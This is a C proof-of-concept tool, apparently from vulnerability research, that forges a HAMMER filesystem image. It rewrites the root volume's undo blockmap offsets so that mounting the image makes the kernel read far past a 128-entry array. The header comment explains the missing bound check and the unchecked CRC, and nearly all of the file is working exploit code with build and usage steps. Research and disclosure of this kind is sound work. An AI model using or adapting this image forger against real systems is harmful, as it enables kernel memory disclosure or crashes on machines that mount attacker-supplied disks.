/*
 * undo_craft.c - DF-3040 PoC image forger.
 *
 * Root cause: HAMMER_UNDO_INDEX(zone3) = short(zone3) / HAMMER_BIGBLOCK_SIZE
 * (hammer_disk.h:824-829) is used to index vol0_undo_array[128]
 * (hammer_disk.h:789) with NO bound check against HAMMER_MAX_UNDO_BIGBLOCKS
 * (128) anywhere in the kernel.  The only "validation" of undo zone offsets
 * on the mount path is hammer_recover_stage1's
 *     first_offset > alloc_offset || next_offset > alloc_offset  -> EIO
 * (hammer_recover.c:232) and hammer_undo_lookup's INVARIANTS-only
 *     KKASSERT(zone3_off < undomap->alloc_offset)
 * (hammer_undo.c:70) - and alloc_offset itself comes from the same
 * attacker-crafted rootvol vol0_blockmap[3], so a crafted header makes the
 * kernel translate zone3 offsets far past the 128-entry array.
 *
 * This tool patches the root volume header (LBA 0, bread at
 * hammer_ondisk.c:180 reads the first HAMMER_BUFSIZE=16K) of an existing
 * newfs_hammer image:
 *
 *   vol0_blockmap[HAMMER_ZONE_UNDO_INDEX].first_offset = UNDO|<ARG>
 *   .next_offset                                        = UNDO|<ARG+16>
 *   .alloc_offset                                       = UNDO|<ARG+0x100000000>
 *
 * <ARG> defaults to 0x400000000 (2^34; idx = 2^34/8MB = 2048 ->
 * read at bp+17288, 904 bytes past the 16KB bp).  Any larger 16K-aligned
 * value reaches further, e.g. 0x4000000000 (idx=32768 -> ~247KB past).
 *
 * No CRC fixup is needed: the kernel never verifies vol_crc
 * (hammer_crc_test_volume has zero callers - see DF-3042).
 *
 * Build (guest): cc -O -o undo_craft undo_craft.c -I/usr/src/sys/vfs/hammer
 * Usage: undo_craft <img>
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <inttypes.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/param.h>
#include <stddef.h>
#include <hammer_disk.h>

#define OOF(x)  offsetof(struct hammer_volume_ondisk, x)

static void
dump_map(const char *tag, struct hammer_blockmap *bm)
{
	printf("%s: phys=%016jx first=%016jx next=%016jx alloc=%016jx\n",
	       tag,
	       (uintmax_t)bm->phys_offset, (uintmax_t)bm->first_offset,
	       (uintmax_t)bm->next_offset, (uintmax_t)bm->alloc_offset);
}

int
main(int ac, char **av)
{
	struct hammer_volume_ondisk hdr;
	struct hammer_blockmap *undo;
	hammer_off_t first, next, alloc;
	int fd;
	off_t mapoff = OOF(vol0_blockmap) +
		       HAMMER_ZONE_UNDO_INDEX * sizeof(struct hammer_blockmap);
	off_t arroff = OOF(vol0_undo_array);

	if (ac != 2 && ac != 3) {
		fprintf(stderr, "usage: undo_craft <img> [short_off]\n");
		return (2);
	}
	printf("sizeof(volume_ondisk)=%zu vol0_blockmap@%llu undo_array@%llu "
	       "(%d entries of %zu)\n",
	       sizeof(hdr), (unsigned long long)OOF(vol0_blockmap),
	       (unsigned long long)arroff,
	       HAMMER_MAX_UNDO_BIGBLOCKS, sizeof(hammer_off_t));

	fd = open(av[1], O_RDWR);
	if (fd < 0) { perror("open"); return (1); }
	if (pread(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) {
		perror("pread"); return (1);
	}
	if (hdr.vol_signature != HAMMER_FSBUF_VOLUME) {
		fprintf(stderr, "not a hammer volume (sig %016jx)\n",
			(uintmax_t)hdr.vol_signature);
		return (1);
	}
	undo = (struct hammer_blockmap *)((char *)&hdr + mapoff);
	dump_map("undo BEFORE", undo);

	if (ac == 3)
		first = HAMMER_ZONE_UNDO | strtoull(av[2], NULL, 0);
	else
		first = HAMMER_ZONE_UNDO | 0x400000000ULL;	/* idx 2048 */
	next  = (first & ~HAMMER_BUFMASK64) + 0x10;	/* 16 bytes later */
	alloc = first + 0x100000000ULL;			/* >= both */
	undo->first_offset = first;
	undo->next_offset  = next;
	undo->alloc_offset = alloc;

	if (pwrite(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) {
		perror("pwrite"); return (1);
	}
	dump_map("undo AFTER ", undo);
	printf("crafted: idx(first)=%ju -> read at bp+%llu (~%lldKB past "
	       "the 16KB bp)\n",
	       (uintmax_t)((first & HAMMER_OFF_SHORT_MASK) /
			   HAMMER_BIGBLOCK_SIZE),
	       (unsigned long long)(arroff +
			   (((first & HAMMER_OFF_SHORT_MASK) /
			     HAMMER_BIGBLOCK_SIZE)) * 8),
	       (long long)((arroff +
			   ((first & HAMMER_OFF_SHORT_MASK) /
			    HAMMER_BIGBLOCK_SIZE) * 8 - 16384) / 1024));
	close(fd);
	return (0);
}
